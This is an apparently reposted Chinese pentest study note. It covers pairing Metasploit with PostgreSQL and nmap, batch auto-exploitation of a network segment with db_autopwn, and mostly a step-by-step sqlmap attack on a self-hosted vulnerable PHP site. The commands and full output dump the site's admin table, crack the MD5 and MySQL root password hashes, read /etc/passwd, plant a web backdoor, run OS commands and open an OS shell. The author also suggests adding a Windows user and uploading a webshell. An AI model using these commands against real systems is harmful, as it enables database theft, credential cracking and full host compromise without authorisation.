Sqlmap渗透

来源:互联网 发布:js格式化日期补0 编辑:程序博客网 时间:2024/04/29 18:28

最近在研究WEB渗透方向的内容,看了很多的MS**-*之类的微软漏洞,就寻思着能不能利用MSF自动化工具进行自动话的批量扫描。对一个网段中的所有主机的进行全模块的扫描。

遇到的第一个问题就是postgresql的安装和集成问题。下面是自己整理的安装过程,做一下学习笔记。

我的机器是Red Hat EnterPrice Linux AS5 。


  1. 安装postgresql

就用官方centos的yum源就可以了,如果想要8.4以上更高版本的可以参考这篇文章。

http://wiki.postgresql.org/wiki/YUM_Installation


1.1 yum -y install postgresql84*


2. 初始化数据目录

安装完成后还有一个必须的步骤: 初始化数据目录。由于postgresql是以postgres用户运行的,目录的属主必须指定为postgres。默认的数据目录是/var/lib/pgsql/data,如果不是则需要用-D参数指定。

首先需要切换为postgres用户才能运行initdb命令,另外要注意当前系统的locale,windows下ssh登录的zh_CN.GB18030就安装不了,把语言设置为en_US.UTF8就行了。
2.1 su postgres
2.2 initdb -D /var/lib/pgsql/data

如果指定的不是默认数据目录,需要更改/etc/init.d/postgresql启动脚本,把PGDATA,PGLOG目录指定新设置的目录。如果启动有问题,查看数据目录下的pgstartup.log日志文件


3. 启动服务

3.1 chkconfig postgresql on(可选,如果不需要开机自动自动就不需要这条命令)
3.2 postgres -D /var/lib/pgsql/data & 或者  pg_ctl -D /var/lib/pgsql/data -l logfile start(注意,两条任意一条一定要以potgres身份执行)

 配置文件是数据目录下的postgresql.conf, 默认监听5432端口,所有IP地址。
listen_addresses='192.168.1.11' 改为只监听内网IP

3.3 netstat -nltp | grep 5432 看看有没有5432端口在监听


4. 配置postgresql
4.1 psql -U postgres       以postgres用户身份连接postgresql


4.2 修改postgres账户的密码,注意,这个是数据库中的密码,要linux账户密码区分开来,网上的教程说要修改linux下的postgres账户的密码,其实不修改也可以

ALTER USER postgres with PASSWORD '111'


4.3 创建数据库

createdb -O postgres msfbook

msfbook数据库用户MSF保存扫描结果,我们可以先创建好



5. 配置MSF

5.1 检测连接状态

db_status


5.2 连接数据库

postsql启动后,我们需要让MSF框架连接到这个实例上
db_connect postgres:111@127.0.0.1/msfbook

如果是第一次连接到这个数据库msfbook,MSF会自动为我们为了完成初始化的建表工作。如果不是,则直接返回交互式界面。


5.3 检测连接状态

db_status 

再次检查连接状态,如提示已经连接并显示密码则表示msf框架连接postsql数据库实例成功了。

在windows上安装pgadmin后,连接pg时遇到一系列用户权限的问题。

http://blog.csdn.net/zzy7075/article/details/5727502

配置好postgresql.conf;   pg_hba.conf这两个文件后,连接成功。



6. 将NMAP输出的结果导入MSF

当与其他组员一起协同进行渗透测试工作时,不同的人可能在不同的时间和地点进行扫描。应当把每个人独立运行的nmap扫描结果导入到MetaSploit框架中,可以将一个nmap生成的基本XML报告文件(nmap -oX)导入到MSF中。也就是保存在postgresql数据库中。


6.1 用nmap生成扫描报告

nmap -sS -O -PI -PT -oX /root/Desktop/result 192.168.174.129

将在桌面生成一个result.xml文件


6.2 将扫描结果导出数据库

db_connect postgres:111@127.0.0.1/msfbook

db_import /root/Desktop/result

hosts -c address

返回一个主机IP列表,表名我们已经成功将nmap输出导入到了MSF中


6.3 在MSF终端中运行Namp

配置好postgresql并成功连接及导入,现在我们已经完成了MSF和数据库的准备工作。接下来,让我们把nmap和MSF结合起来使用。

6.3.1 连接到msfbook数据库

db_connect postgres:111@127.0.0.1/msfbook

6.3.2 在MSF终端中运行Namp,并自动将namp扫描结果存储在数据库中。

db_nmap -sS -A 192.168.174.129

可以运行services命令来查看数据库中的关于系统上运行服务的扫描结果

services



至此,MSF和postgresql数据的连接以及nmap集成到MSF的扫描就算完成了,但是,我们在扫描一个网段的时候,往往是面对很多台主机各种不同的操作系统,如果一台一台的试一个模块一个模块的试就太麻烦了。接下来,我们要完成对多台主机的多模块自动批量扫描。

1. db_autopwn

这是一个自动化扫描的脚本,ruby语言编写的。在新版本的MSF中已经取消了这个命令,我们需要下载这个脚本并手工加载。

将附件db_autopwn.rp 拷贝到

/opt/metasploit/apps/pro/msf3/plugins(根据具体情况可能会不同,就是本机msf的plugin安装目录)路径下。

加载脚本:msf > load db_autopwn

加载成功后:db_autopwn这个脚本模块即可正常使用了。


接下来要怎么使用呢:

1)连接数据库

db_connect postgres:111@127.0.0.1/msfbook


2)使用Nmap对远程主机进行扫描

db_nmap -sS -A 192.168.174.129

这一步,可以对一个网段进行扫描,扫描结果会自动记录到数据库中。为下一步的自动化批量扫描做准备。


3)使用db_autopwn对数据库中记录的主机记录进行自动话的全模块扫描

db_autopwn -p -e -b

启动后,脚本就会根据扫描出的主机类型,自动调用匹配的攻击模块进行试探攻击,同时如果数据库中有多条记录,也会自动地对多条记录进行批量攻击。

这里简单解释一下这几个参数的意思。

-p: 选择基于开放端口的模块(比如如果开放了135端口并且是windows系统,就自动试试MS08-067)

-e: 运行所有匹配目标的利用程序(相当于exploit命令)

-b: 用一个随机端口的绑定shell(bind)


4) 批量扫描结束后,会显示已经打开的meterpreter,接下来可以输入meterpreter的命令或转换到相应的频道,输入shell,获得cmd窗口


 





2. SqlMap:Sql Injection Pentest

本来想做的是MSF上的auxiliary辅助模块里面的sqlmap脚本的,但是一直没成功。貌似这个集成模块有些问题。没办法就用独立sqlmap的那个python脚本来学习吧。

但是这种方法好像没法像MSF那样进行批量测试,只能一个网站一个网站的测试。因为每个网站的URL路径不同,能触发sql漏洞的脚本路径也是不同的,所以需要我们在使用sqlmap之前进行踩点,确定某个地方可能存在注入漏洞时(最好结合手工注入先测试一下),在使用sqlmap自动化工具进行攻击。


http://192.168.0.103/company/do/alonepage.php?id=3(这是一个存在sql漏洞的脚本URL)

这里使用本地搭建的一个网站,并已知某个页面存在着sql注入漏洞,实际上这个工作是需要前期通过探测完成的。这里就跳过了,专注与sqlmap的使用上。


1) 安装sqlmap

首先安装python2.52

然后进入sqlmap的目录   cd pentest/database/sqlmap   (默认是这个目录)

查看一下sqlmap使用帮助      python sqlmap.py  -hh


2)对注入点进行初步探测

1. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --current-user               #获取当前用户名称

[10:23:01] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.4.12, Apache 2.4.4

back-end DBMS: MySQL 5.0

[10:23:01] [INFO] fetching current user

current user:    'root@localhost'

result:我们知道了当前这个php页面是使用root这个用户名登入数据库的,并且知道了服务器上的环境信息,知道了版本,就可以在CVE上寻找相应的漏洞进行利用了。

2.  python  sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --current-db                           #获取当前数据库名称

[10:37:07] [INFO] fetching current database

current database:    'company'

result:重复的信息就不列出来了,现在知道了目标网站使用company这个数据库。

3. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --tables -D "company"        #列表名

[10:41:19] [INFO] fetching tables for database: 'company'

[10:41:19] [INFO] the SQL query used returns 75 entries

[10:41:19] [INFO] retrieved: "p8_ad"

[10:41:19] [INFO] retrieved: "p8_ad_user"

[10:41:19] [INFO] retrieved: "p8_admin_menu"

[10:41:19] [INFO] retrieved: "p8_alonepage"

[10:41:20] [INFO] retrieved: "p8_area"

[10:41:20] [INFO] retrieved: "p8_article"

[10:41:20] [INFO] retrieved: "p8_article_content_100"

[10:41:20] [INFO] retrieved: "p8_article_content_101"

[10:41:20] [INFO] retrieved: "p8_article_content_102"

[10:41:20] [INFO] retrieved: "p8_article_content_103"

[10:41:20] [INFO] retrieved: "p8_article_content_104"

[10:41:20] [INFO] retrieved: "p8_article_content_105"

[10:41:20] [INFO] retrieved: "p8_article_db"

[10:41:20] [INFO] retrieved: "p8_article_module"

[10:41:20] [INFO] retrieved: "p8_channel"

[10:41:20] [INFO] retrieved: "p8_collection"

[10:41:20] [INFO] retrieved: "p8_comment"

[10:41:20] [INFO] retrieved: "p8_config"

[10:41:20] [INFO] retrieved: "p8_copyfrom"

[10:41:21] [INFO] retrieved: "p8_count_site"

[10:41:21] [INFO] retrieved: "p8_count_stat"

[10:41:21] [INFO] retrieved: "p8_count_user"

[10:41:21] [INFO] retrieved: "p8_exam_form"

[10:41:21] [INFO] retrieved: "p8_exam_form_element"

[10:41:21] [INFO] retrieved: "p8_exam_sort"

[10:41:21] [INFO] retrieved: "p8_exam_student"

[10:41:21] [INFO] retrieved: "p8_exam_student_title"

[10:41:21] [INFO] retrieved: "p8_exam_title"

[10:41:21] [INFO] retrieved: "p8_form_content"

[10:41:21] [INFO] retrieved: "p8_form_content_2"

[10:41:21] [INFO] retrieved: "p8_form_content_3"

[10:41:21] [INFO] retrieved: "p8_form_content_6"

[10:41:21] [INFO] retrieved: "p8_form_content_7"

[10:41:22] [INFO] retrieved: "p8_form_content_9"

[10:41:22] [INFO] retrieved: "p8_form_module"

[10:41:22] [INFO] retrieved: "p8_form_reply"

[10:41:22] [INFO] retrieved: "p8_friendlink"

[10:41:22] [INFO] retrieved: "p8_friendlink_sort"

[10:41:22] [INFO] retrieved: "p8_gather_rule"

[10:41:22] [INFO] retrieved: "p8_gather_sort"

[10:41:22] [INFO] retrieved: "p8_group"

[10:41:22] [INFO] retrieved: "p8_guestbook"

[10:41:22] [INFO] retrieved: "p8_hack"

[10:41:22] [INFO] retrieved: "p8_jfabout"

[10:41:22] [INFO] retrieved: "p8_jfsort"

[10:41:22] [INFO] retrieved: "p8_keyword"

[10:41:22] [INFO] retrieved: "p8_keywordid"

[10:41:23] [INFO] retrieved: "p8_label"

[10:41:23] [INFO] retrieved: "p8_limitword"

[10:41:23] [INFO] retrieved: "p8_memberdata"

[10:41:23] [INFO] retrieved: "p8_memberdata_1"

[10:41:23] [INFO] retrieved: "p8_members"

[10:41:23] [INFO] retrieved: "p8_menu"

[10:41:23] [INFO] retrieved: "p8_module"

[10:41:23] [INFO] retrieved: "p8_moneycard"

[10:41:23] [INFO] retrieved: "p8_olpay"

[10:41:23] [INFO] retrieved: "p8_online_consultation"

[10:41:23] [INFO] retrieved: "p8_pm"

[10:41:23] [INFO] retrieved: "p8_propagandize"

[10:41:23] [INFO] retrieved: "p8_reply"

[10:41:24] [INFO] retrieved: "p8_report"

[10:41:24] [INFO] retrieved: "p8_sellad"

[10:41:24] [INFO] retrieved: "p8_sellad_user"

[10:41:24] [INFO] retrieved: "p8_shoporderproduct"

[10:41:24] [INFO] retrieved: "p8_shoporderuser"

[10:41:24] [INFO] retrieved: "p8_sort"

[10:41:24] [INFO] retrieved: "p8_special"

[10:41:24] [INFO] retrieved: "p8_special_comment"

[10:41:24] [INFO] retrieved: "p8_spsort"

[10:41:24] [INFO] retrieved: "p8_template"

[10:41:24] [INFO] retrieved: "p8_template_bak"

[10:41:24] [INFO] retrieved: "p8_upfile"

[10:41:24] [INFO] retrieved: "p8_vote"

[10:41:25] [INFO] retrieved: "p8_vote_comment"

[10:41:25] [INFO] retrieved: "p8_vote_config"

Database: company                                                              

[75 tables]

+------------------------+

| p8_ad                  |

| p8_ad_user             |

| p8_admin_menu          |

| p8_alonepage           |

| p8_area                |

| p8_article             |

| p8_article_content_100 |

| p8_article_content_101 |

| p8_article_content_102 |

| p8_article_content_103 |

| p8_article_content_104 |

| p8_article_content_105 |

| p8_article_db          |

| p8_article_module      |

| p8_channel             |

| p8_collection          |

| p8_comment             |

| p8_config              |

| p8_copyfrom            |

| p8_count_site          |

| p8_count_stat          |

| p8_count_user          |

| p8_exam_form           |

| p8_exam_form_element   |

| p8_exam_sort           |

| p8_exam_student        |

| p8_exam_student_title  |

| p8_exam_title          |

| p8_form_content        |

| p8_form_content_2      |

| p8_form_content_3      |

| p8_form_content_6      |

| p8_form_content_7      |

| p8_form_content_9      |

| p8_form_module         |

| p8_form_reply          |

| p8_friendlink          |

| p8_friendlink_sort     |

| p8_gather_rule         |

| p8_gather_sort         |

| p8_group               |

| p8_guestbook           |

| p8_hack                |

| p8_jfabout             |

| p8_jfsort              |

| p8_keyword             |

| p8_keywordid           |

| p8_label               |

| p8_limitword           |

| p8_memberdata          |

| p8_memberdata_1        |

| p8_members             |

| p8_menu                |

| p8_module              |

| p8_moneycard           |

| p8_olpay               |

| p8_online_consultation |

| p8_pm                  |

| p8_propagandize        |

| p8_reply               |

| p8_report              |

| p8_sellad              |

| p8_sellad_user         |

| p8_shoporderproduct    |

| p8_shoporderuser       |

| p8_sort                |

| p8_special             |

| p8_special_comment     |

| p8_spsort              |

| p8_template            |

| p8_template_bak        |

| p8_upfile              |

| p8_vote                |

| p8_vote_comment        |

| p8_vote_config         |

+------------------------+

result:这样就基本知道了目标主机mysql数据中的所有表名

4. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --columns -T "p8_members" users -D "company" -v 0                               #列字段,一般是列账户信息的那个表

[10:47:35] [INFO] fetching columns for table 'p8_members' in database 'company'

[10:47:36] [INFO] the SQL query used returns 3 entries

[10:47:36] [INFO] retrieved: "uid","mediumint(7) unsigned"

[10:47:36] [INFO] retrieved: "username","varchar(30)"

[10:47:36] [INFO] retrieved: "password","varchar(32)"

Database: company                                                                                                           

Table: p8_members

[3 columns]

+----------+-----------------------+

| Column   | Type                  |

+----------+-----------------------+

| password | varchar(32)           |

| uid      | mediumint(7) unsigned |

| username | varchar(30)           |

+----------+-----------------------+

result:知道了保存帐号信息的表结构。

5. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dump  -C "username"  -T "p8_members" -D "company" -v 0

python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dump  -C "password"  -T "p8_members" -D "company" -v 0   

#获取字段内容,获取帐号和密码

do you want sqlmap to consider provided column(s):

[1] as LIKE column names (default)

[2] as exact column names

> 1


[10:52:21] [INFO] fetching columns like 'username' for table 'p8_members' in database 'company'

[10:52:21] [INFO] the SQL query used returns 1 entries

[10:52:21] [INFO] retrieved: "username","varchar(30)"

[10:52:21] [INFO] fetching entries of column(s) 'username' for table 'p8_members' in database 'company'                     

[10:52:22] [INFO] the SQL query used returns 1 entries

[10:52:22] [INFO] retrieved: "admin"

[10:52:22] [INFO] analyzing table dump for possible password hashes                                                         

Database: company

Table: p8_members

[1 entry]

+----------+

| username |

+----------+

| admin    |

+----------+


do you want sqlmap to consider provided column(s):

[1] as LIKE column names (default)

[2] as exact column names

> 1


[10:53:17] [INFO] fetching columns like 'password' for table 'p8_members' in database 'company'

[10:53:17] [INFO] the SQL query used returns 1 entries

[10:53:17] [INFO] retrieved: "password","varchar(32)"

[10:53:17] [INFO] fetching entries of column(s) 'password' for table 'p8_members' in database 'company'                     

[10:53:17] [INFO] the SQL query used returns 1 entries

[10:53:17] [INFO] retrieved: "698d51a19d8a121ce581499d7b701668"

[10:53:17] [INFO] analyzing table dump for possible password hashes                                                         

recognized possible password hashes in column 'password'. Do you want to crack them via a dictionary-based attack? [Y/n/q] y


[10:53:24] [INFO] using hash method 'md5_generic_passwd'

what dictionary do you want to use?

[1] default dictionary file '/pentest/database/sqlmap/txt/wordlist.txt' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

> 1


[10:53:28] [INFO] using default dictionary

[10:53:28] [INFO] loading dictionary from '/pentest/database/sqlmap/txt/wordlist.txt'

do you want to use common password suffixes? (slow!) [y/N] y


[10:53:32] [INFO] starting dictionary-based cracking (md5_generic_passwd)

[10:53:32] [INFO] cracked password '111' for hash '698d51a19d8a121ce581499d7b701668'                                        

[10:53:32] [INFO] postprocessing table dump                                                                                 

Database: company

Table: p8_members

[1 entry]

+----------------------------------------+

| password                               |

+----------------------------------------+

| 698d51a19d8a121ce581499d7b701668 (111) |

+----------------------------------------+

result:这里可以用MSF的字典进行破解,也可以自己本地字典跑或者拿到 cmd5.com网站上去破解。



3)信息获取

做完上面的步骤后,就已经获取的网站后台的帐号和密码,可以登入到后台,上传webshell,进一步提权。

但是sqlmap的用处远不止如此,我们可以利用sqlmap继续获取一些有用的信息

  1. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --smart --level 3 --users    

# smart智能 level 执行测试等级(可以用来获取数据库中所有的用户)

[11:12:54] [INFO] fetching database users

[11:12:54] [INFO] the SQL query used returns 85 entries

[11:12:54] [INFO] retrieved: "'root'@'localhost'"

[11:12:54] [INFO] retrieved: "'root'@'localhost'"

[11:12:54] [INFO] retrieved: "'root'@'localhost'"

[11:12:54] [INFO] retrieved: "'root'@'localhost'"

[11:12:54] [INFO] retrieved: "'root'@'localhost'"

[11:12:54] [INFO] retrieved: "'root'@'localhost'"

[11:12:54] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:55] [INFO] retrieved: "'root'@'localhost'"

[11:12:56] [INFO] retrieved: "'root'@'localhost'"

[11:12:56] [INFO] retrieved: "'root'@'localhost'"

[11:12:56] [INFO] retrieved: "'root'@'localhost'"

[11:12:56] [INFO] retrieved: "'root'@'localhost'"

[11:12:56] [INFO] retrieved: "'root'@'localhost'"

[11:12:56] [INFO] retrieved: "'root'@'localhost'"

[11:12:56] [INFO] retrieved: "'root'@'localhost'"

[11:12:56] [INFO] retrieved: "'root'@'localhost'"

[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"

[11:12:58] [INFO] retrieved: "'root'@'::1'"

[11:12:58] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:12:59] [INFO] retrieved: "'root'@'::1'"

[11:13:00] [INFO] retrieved: "'root'@'::1'"

[11:13:00] [INFO] retrieved: "'root'@'::1'"

[11:13:00] [INFO] retrieved: "'root'@'::1'"

[11:13:00] [INFO] retrieved: "'root'@'::1'"

[11:13:00] [INFO] retrieved: "'root'@'::1'"

[11:13:00] [INFO] retrieved: "'root'@'::1'"

[11:13:00] [INFO] retrieved: "'root'@'::1'"

[11:13:00] [INFO] retrieved: "'root'@'::1'"

[11:13:00] [INFO] retrieved: "'root'@'::1'"

[11:13:01] [INFO] retrieved: "'root'@'::1'"

[11:13:01] [INFO] retrieved: "'root'@'::1'"

[11:13:01] [INFO] retrieved: "'root'@'::1'"

[11:13:01] [INFO] retrieved: "'root'@'::1'"

[11:13:01] [INFO] retrieved: "''@'localhost'"

database management system users [85]:                                                                                      

[*] ''@'localhost'

[*] 'root'@'127.0.0.1'

[*] 'root'@'::1'

[*] 'root'@'localhost'


2. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3"  --dbms "Mysql" --users  

# dbms 指定数据库类型,可以用来确认数据库的类型

[11:14:37] [INFO] testing MySQL

[11:14:37] [INFO] confirming MySQL

[11:14:38] [INFO] the back-end DBMS is MySQL


web application technology: PHP 5.4.12, Apache 2.4.4

back-end DBMS: MySQL >= 5.0.0

[11:14:38] [INFO] fetching database users

[11:14:38] [INFO] the SQL query used returns 85 entries

database management system users [85]:                                                                                      

[*] ''@'localhost'

[*] 'root'@'127.0.0.1'

[*] 'root'@'::1'

[*] 'root'@'localhost'



3. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --users          #列数据库用户

作用和上面的smart智能 level 执行测试等级作用是一样的,可以获取当前主机中数据库中的所有用户


4. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dbs             #列数据库

[11:17:49] [INFO] fetching database names

[11:17:49] [INFO] the SQL query used returns 5 entries

[11:17:49] [INFO] retrieved: "information_schema"

[11:17:49] [INFO] retrieved: "company"

[11:17:49] [INFO] retrieved: "mysql"

[11:17:49] [INFO] retrieved: "performance_schema"

[11:17:49] [INFO] retrieved: "test"

available databases [5]:                                                                                                    

[*] company

[*] information_schema

[*] mysql

[*] performance_schema

[*] test

result:和获取当前数据库不同,这个命令可以获取所有的数据库名


5.python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --passwords         #数据库用户密码

[11:19:13] [INFO] fetching database users password hashes

[11:19:14] [INFO] the SQL query used returns 4 entries

[11:19:14] [INFO] retrieved: "root","*832EB84CB764129D05D498ED9CA7E5CE9B8F83EB"

[11:19:14] [INFO] retrieved: "root","*832EB84CB764129D05D498ED9CA7E5CE9B8F83EB"

[11:19:14] [INFO] retrieved: "root","*832EB84CB764129D05D498ED9CA7E5CE9B8F83EB"

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y                               


[11:19:26] [INFO] using hash method 'mysql_passwd'

what dictionary do you want to use?

[1] default dictionary file '/pentest/database/sqlmap/txt/wordlist.txt' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

> 1


[11:19:28] [INFO] using default dictionary

[11:19:28] [INFO] loading dictionary from '/pentest/database/sqlmap/txt/wordlist.txt'

do you want to use common password suffixes? (slow!) [y/N] y


[11:19:30] [INFO] starting dictionary-based cracking (mysql_passwd)

[11:19:31] [INFO] cracked password '111' for user 'root'                                                                    

database management system users password hashes:                                                                           

[*] root [3]:

    password hash: *832EB84CB764129D05D498ED9CA7E5CE9B8F83EB

    clear-text password: 111

    password hash: *832EB84CB764129D05D498ED9CA7E5CE9B8F83EB

    clear-text password: 111

    password hash: *832EB84CB764129D05D498ED9CA7E5CE9B8F83EB

    clear-text password: 111

result:获取当前数据库的用户密码,注意,这里是因为恰巧我自己本机上数据库也是用111密码,实际上这个密码和之前的账户密码111是不同的。这个数据库主机的账户密码,是用来登入数据库主机的,而之前的账户密码是用来登入网站的。


6. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dump -C "password,username,uid" -T "p8_members" -D "company" --start 1 --stop 20  

#列出指定字段,列出20条,可以一次性列出多个字段的数据

do you want sqlmap to consider provided column(s):

[1] as LIKE column names (default)

[2] as exact column names

> 1


[11:24:52] [INFO] fetching columns like 'password, uid, username' for table 'p8_members' in database 'company'

[11:24:53] [INFO] the SQL query used returns 3 entries

[11:24:53] [INFO] retrieved: "uid","mediumint(7) unsigned"

[11:24:53] [INFO] retrieved: "username","varchar(30)"

[11:24:53] [INFO] retrieved: "password","varchar(32)"

[11:24:53] [INFO] fetching entries of column(s) 'password, uid, username' for table 'p8_members' in database 'company'      

[11:24:53] [INFO] retrieved: "698d51a19d8a121ce581499d7b701668","1","admin"

[11:24:53] [INFO] analyzing table dump for possible password hashes                                                         

recognized possible password hashes in column 'password'. Do you want to crack them via a dictionary-based attack? [Y/n/q] y


[11:24:55] [INFO] using hash method 'md5_generic_passwd'

[11:24:55] [INFO] resuming password '111' for hash '698d51a19d8a121ce581499d7b701668' for user 'admin'

[11:24:55] [INFO] postprocessing table dump

Database: company

Table: p8_members

[1 entry]

+-----+----------+----------------------------------------+

| uid | username | password                               |

+-----+----------+----------------------------------------+

| 1   | admin    | 698d51a19d8a121ce581499d7b701668 (111) |

+-----+----------+----------------------------------------+

result:注意,越到后面,这些参数越不能错了,数据库名,表名,字段名都必须正确,这些信息应该在之前获得


7. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dump-all -v 0   #列出所有数据库所有表


8. pythonsqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --privileges     #查看权限


9. pythonsqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --is-dba -v 1    #是否是数据库管理员

[11:28:30] [INFO] testing if current user is DBA

[11:28:30] [INFO] fetching current user

current user is DBA:    'True'


10. pythonsqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --udf-inject 

#导入用户自定义函数(获取系统权限!)


11. pythonsqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --cookie "111"   #cookie注入

12. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --data "id=3"  #post注入

13. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --proxy"http://127.0.0.1:8118" #代理注入

(这几种注入的原理不是太清楚,还有待学习啊)


14. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --sql-shell        #执行指定sql命令

(貌似效果不好,原理也不是很清楚)


15. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --file /etc/passwd

[11:37:41] [INFO] fingerprinting the back-end DBMS operating system

[11:37:41] [INFO] the back-end DBMS operating system is Windows

[11:37:41] [INFO] fetching file: '/etc/passwd'

/etc/passwd file saved to: None

result:这个指令厉害了,可以直接获得系统级的账户信息。因为我这里网站的主机是windows的,所有没有这个文件,如果是linux也许能获取到,没实验过,留到实战中去检验吧。


16. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --os-cmd=dir        #执行系统命令

[11:43:01] [INFO] going to use a web backdoor for command execution

[11:43:01] [INFO] fingerprinting the back-end DBMS operating system

[11:43:02] [INFO] the back-end DBMS operating system is Windows

[11:43:02] [INFO] trying to upload the file stager

which web application language does the web server support?

[1] ASP

[2] ASPX

[3] PHP (default)

[4] JSP

> 3


[11:43:03] [WARNING] unable to retrieve the web server document root

please provide the web server document root [C:/xampp/htdocs/,C:/Inetpub/wwwroot/]: E:\wamp\www


[11:43:12] [WARNING] unable to retrieve any web server path

please provide any additional web server full path to try to upload the agent [Enter for None]: 


[11:43:13] [WARNING] reflective value(s) found and filtering out

[11:43:13] [INFO] heuristics detected web page charset 'GB2312'

[11:43:13] [INFO] the file stager has been successfully uploaded on 'E:/wamp/www' - http://192.168.0.103:80/tmpukaau.php

[11:43:14] [INFO] the backdoor has probably been successfully uploaded on 'E:/wamp/www' - http://192.168.0.103:80/tmpbytiq.php

do you want to retrieve the command standard output? [Y/n/a] y

command standard output:

---

 驱动器 E 中的卷是 小瀚工作

 卷的序列号是 0002-C47E


 E:\wamp\www 的目录


2013/08/02  23:43    <DIR>          .

2013/08/02  23:43    <DIR>          ..

2013/08/01  14:18    <DIR>          company

2013/07/24  20:08            21,237 index.php

2013/07/25  13:07    <DIR>          phpcms2007

2013/07/26  07:53    <DIR>          RFI

2013/06/23  10:56               184 testmysql.php

2013/08/02  23:42               908 tmpbjteg.php

2013/08/02  23:41               908 tmpbmkkd.php

2013/08/02  23:43               908 tmpbytiq.php

2013/08/02  23:42             3,033 tmpudkdc.php

2013/08/02  23:41             3,033 tmpugvdx.php

2013/08/02  23:43             3,033 tmpukaau.php

2013/08/01  14:44    <DIR>          web

               8 个文件         33,244 字节

               6 个目录 329,138,982,912 可用字节

---

result:这个命令相当恐怖了,可以执行任意cmd指令,要注意的是,在执行过程中,可能会提示要求我们给出服务端的网站根目录路径如:E:/wamp/www。大多数情况下这些路径都是可以猜测出来的,除此之外,其他的工作sqlmap都帮我们完成了。如果把cmd指令换成 "net user test 111 /add" ,注意加双引号。可以见,即使主机是win7并打上了各种补丁,可是一个小小的sql漏洞竟然可以突破到系统级权限。


17. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --os-shell         #系统交互shell

